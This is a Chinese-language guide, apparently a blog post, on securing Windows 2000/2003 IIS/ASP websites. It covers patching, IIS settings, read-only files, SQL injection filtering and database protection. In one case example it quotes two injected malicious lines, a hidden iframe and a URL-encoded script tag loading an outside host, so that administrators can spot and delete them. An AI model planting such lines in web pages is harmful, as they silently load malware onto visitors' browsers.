以Windows2000(2003)+IIS+Asp平台建设的Web服务器是目前最常用的一种建站方式。Win2000(2003)操作系统的一个主要特色就是将IIS融入其内核之中,并提供一些用来配置和维护软件的向导工具,使构建一个Internet网站轻松易得。但是,微软操作系统的漏洞之多也是闻名的,这也给网站安全埋上了一颗无形的定时炸弹。但作为网管员如果具有较强的安全意识,在建站之初,对网站安全的细小处加以注意和防范,就能使网站安全做到事半功倍。本文结合笔者亲历实践,详细分析了使用这种模式建站所面临的各个层次的安全问题,并给出了相应的解决方法.特别是一些细节性的问题。在多个此类网站的架设实践中,证明了应用该安全策略是有效的.
一、 系统安全
   微软的操作系统以功能强大著称,但也是漏洞补丁最多的软件,因此采用Windows平台作为Web服务器。在安装和配置时需要注意以下几点。
(1)、系统安装完毕,应及时打上系统漏洞补丁,可以在服务器上安装360安全卫士,通过该软件进行自动扫描系统漏洞并下载补丁安装。
(2)、不要安装多余的服务和协议,因为有的服务存在漏洞,多余的协议会占用系统资源,因此,无用的服务和协议不要安装,如者把相应的服务停止和关闭(如FTP、STMP等)。
    (3)、安装防病毒软件和防火墙软件,一般安装360安全卫士可用于木马扫描和查杀,系统漏洞扫描和打补丁,安装防病毒软件可以查杀病毒,防火墙可以防止非法拼本机。通过防火墙还可以设置信任站点和不信任站,IP访问限止等。   
二、 网站配置安全
优化可靠的IIS配置,是网站安全成功的基础,因此网管员必须
在以下几方面做好网站安全配置。
1、 尽可能不要把网站安装在默认的C:\inetpub\wwwroot\目录下。主
要有两个因素,一是C盘是系统盘,由于病毒或其他原因很容易使系统破坏,导致数据丢失等。二是作为默认安装,很容易让一些黑客猜出安装位置,并对网站实施攻击。一般可安装在除系统盘外的其他分区,并删除默认建立的站点的虚拟目录,停止默认web站点,即删除对应的文件目录c:\inetpub,配置所有站点的公共设置,设置好相关的连接数限制。
2、 在配置网站安全策略时,在IIS站点配置中无特殊要求千万不能
在“脚本资源访问”、“写入”、“目录浏览”这三个先项前打钩。不选“脚本资源访问“,能有效阻止客户端运行一些服务器端的程序,不选“写入“,可防止客户上传一些可执行文件,不选“目录浏览”,能使客端猜不出网站的路径结构。删除所有不必要的应用程序扩展。只保留如asp、aspx等一些有用的应用程序扩展。
3、 严格上传文件的控制,一般不允许可执行文件如exe、bat等文件的上传。
三、 程序代码安全
从事网站管理的同志可能会亲身经历过这样一种情况,单位的安全设施都已经到位,配置了防火墙,安装防病毒软件,但还是经常遭遇黑客的攻击或病毒入侵。出现下面案例一的情形。其实大多数原因是由于你的程序代码不安全或属性设置不当造成的,使黑客有机可乘。
案例一、整个网站看起来很正常,但在打开首页或其他某一页面时出现空白或弹出其他页面,如果不安装个人防火墙,你不知道问题出在哪,如果安装了个人防火墙,则会弹出诸如下图的提示信息。

 

这时,如果你去打开网站首页文件或数据库连接文件index.asp或default.asp、conn.asp等,你会发现文件最后一行写入了一句挂马代码。诸如<iframe src=http://www.xxxx.com/xxxxx.htm width=100 height=0></iframe>或<script src=http://%77%2E%74%6F%79%6F%6E%79%2E%63%6F%6D%2E%63%6E></script>,将该行代码删除,浏览网页即正常,因此网站配置好后,在应用程序开发与管理中要做好程序代码的安全工作。
1、将网站的程序文件改为只读属性。一般写入挂码代码的多是Index.asp、default.asp、conn.asp、top.asp等文件;但从安全角度考虑,建议将网站中的文件除必要数据库文件和JS刷新文件外,均设置为“只读”,防止黑客在程序中写入语句。这一招对网站安全是很凑效的。
2、防止SQL注入。许多网站程序在编写时,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码(一般是在浏览器地址栏进行,通过正常的www端口访问),根据程序返回的结果,获得某些想得知的数据,这就是所谓的SQL 注入。对于这种情况,如果程序是自行开发的,一般的http请求不外乎get 和 post,所以只要我们在文件中过滤所有post或者get请求中的参数信息中非法字符即可。如果是采用动易等免费代码的,一般都有防SQL注入功能,只要将该保护功能开启即可。
3、关闭不必要的“注册”和“忘记密码”等功能。目前我们建立的网站极大多数采用网上免费源码,如动易、风讯等,但这些程序中也会有一些漏洞,如动易中的“忘记密码”很容易被人猜出用户的问题答案,并最终修改密码,获得一定的权限,笔者曾亲历过这一类遭遇。对于这类情况,笔者的建议是如果没特别需要可关掉“注册”和“忘记密码” 两个功能。
四、 数据库安全
数据库是一个网站的核心,对数据库的安全,轻则数据泄密,重
则数据毁灭,从而造成无法挽回的损失,因此加强数据库安全是每位网管工作者必须考虑的内容。
1、 如果数据库采用ACCESS的用户。因为服务器端的mdb文件
可以被用户下载,这是很危险的。一般情况下,Access数据库文件存放在相应的Web目录中,很多黑客就是利用这种规律来查找并下载数据库文件,导致数据信息泄密。因此采用ACCESS数据库的,一是将数据库文件的后缀名mdb改为asp或asa,二是更改数据库文件夹的习惯名称data或database等,并转移数据库的位置。特别是对于下载的模板,一般数据库存放在特定的位置,很容易被人猜出。因此可以采用改变数据库文件存储位置的方法,将数据库文件存放在Web目录以外的某个文件夹中,让黑客难以猜测存储位置。并修改好数据库连接文件(如conn.asp)中的数据库文件相应信息,这样Access数据库文件就安全多了
2、 对于专用的MSSQL数据库服务器,可以设置TCP/IP筛选和IP
策略,对外只开放1433。由于SQL Server不能更改sa用户名称,也不能删除这个超级用户,所以,因此必须为这个账号设置一个非常强壮的密码,当然最好不要在数据库应用中使用sa账号,只有当没有其他方法登录到 SQL Server 实例(例如,当其他系统管理员不可用或忘记了密码)时才使用 sa。建议数据库管理员新建立个拥有与sa一样权限的超级用户来管理数据库。使用混合身份验证,加强数据库日志的记录,审核数据库登陆事件的”成功和失败”,删除一些不需要的和危险的OLE自动存储过程等等。
总之,没有最安全的,只有将安全做得更好的。让我们共同努力,从细小处着手,加强安全意识,注意安全防范,打造一个安全可靠的网站。

文章如转载,请注明转载自:http://www.5iadmin.com/post/11.html